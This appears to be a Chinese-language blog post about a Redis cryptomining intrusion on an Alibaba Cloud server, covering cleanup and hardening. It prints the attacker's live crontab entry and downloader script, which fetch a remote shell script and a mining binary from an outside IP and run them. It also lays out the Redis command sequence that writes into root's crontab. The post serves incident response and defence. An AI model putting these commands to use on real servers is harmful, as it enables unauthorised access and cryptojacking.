阿里雲服務器被入侵——redis挖礦

1、起因:

        發現運維平臺上沒有昨天計劃任務相關的數據,登上服務器,才發現crontab被改了

[root@58 ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh

2、處理過程:

①、停掉計劃任務:

[root@58 ~]# crontab -e
#*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh

②、lastb:查看暴力破解的記錄,發現並沒有異常

[root@58 ~]# lastb
dev      ssh:notty    172.16.1.xx      Tue Jun 13 22:49 - 22:49  (00:00)    
dev      ssh:notty    172.16.1.xx      Tue Jun 13 22:32 - 22:32  (00:00) 

③、查看有毒腳本:

[root@58 tmp]$curl -fsSL http://218.248.40.228:9999/i.sh?6
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://218.248.40.228:9999/i.sh?6 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.1009" ]; then
    curl -fsSL http://218.248.40.228:9999/1009/ddg.$(uname -m) -o /tmp/ddg.1009
fi
chmod +x /tmp/ddg.1009 && /tmp/ddg.1009

④、ps axu:查看異常進程

root     13715  0.0  0.1 700584 16116 ?        Sl   Jun18   0:50 /tmp/ddg.1009
root     13796  299 17.2 1756884 1387384 ?     SLsl Jun18 4236:14 /tmp/wnTKYg.noaes

⑤、文件處理:

#刪除
[root@58 ~]# ll /var/spool/cron/crontabs
total 4
-rw-r--r-- 1 root root 62 Jun 19 09:35 root
[root@58 ~]# rm -rf /var/spool/cron/crontabs

#取消執行權限
[root@58 ~]# ll /tmp/ddg.1009
-rwxr-xr-x 1 root root 8890464 Jun 18 10:09 /tmp/ddg.1009
[root@58 ~]#
[root@58 ~]#
[root@58 ~]# chmod 444 /tmp/ddg.1009

[root@58 ~]# ll /tmp/wnTKYg.noaes
-rwxr-xr-x 1 root root 1365824 Jun 18 10:12 /tmp/wnTKYg.noaes
[root@58 ~]#
[root@58 ~]# chmod 444 /tmp/wnTKYg.noaes

#kill進程

[root@58 ~]# kill -9 13715
[root@58 ~]# kill -9 13796

⑥、#修改root登陸
#.ssh/authorized_keys,也要替換

3、入侵思考:

①、服務器的iptable是隻開了ssh的web的端口,且ssh使用密鑰登陸,且沒有發現嘗試登陸的異常;

②、查看web的日誌,沒有發現異常訪問,應該是某個軟件的問題?

③、最後確定是redis無驗證挖礦(搜索了linux ddg.1009),阿里雲的安全組是允許0.0.0.0的訪問的

④、阿里雲這個0.0.0.0,巨坑啊,應該是某個賤人從其他阿里雲的機器登陸到redis的,即阿里雲的安全組有0.0.0.0的,是可以訪問其他不屬於自己的機器】

4、安全調整:

①、服務器加上iptables的限制,只允許再用的ip訪問

②、redis改成nologin的用戶啓動

③、redis CONFIG修改成其他的名稱:【rename-command CONFIG "Wyl0LFt2UhR"】

④、修改redis端口

5、redis修改計劃任務相關命令:

#set 1:這樣可以控制第一條記錄,就能保證你的內容始終保持在最前面
echo -e "\n\n*/1 * * * * /bin/touch /tmp/888\n\n"|redis-cli -x set 1
redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
redis-cli save
redis-cli flushall

=============================== 完 ==============================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章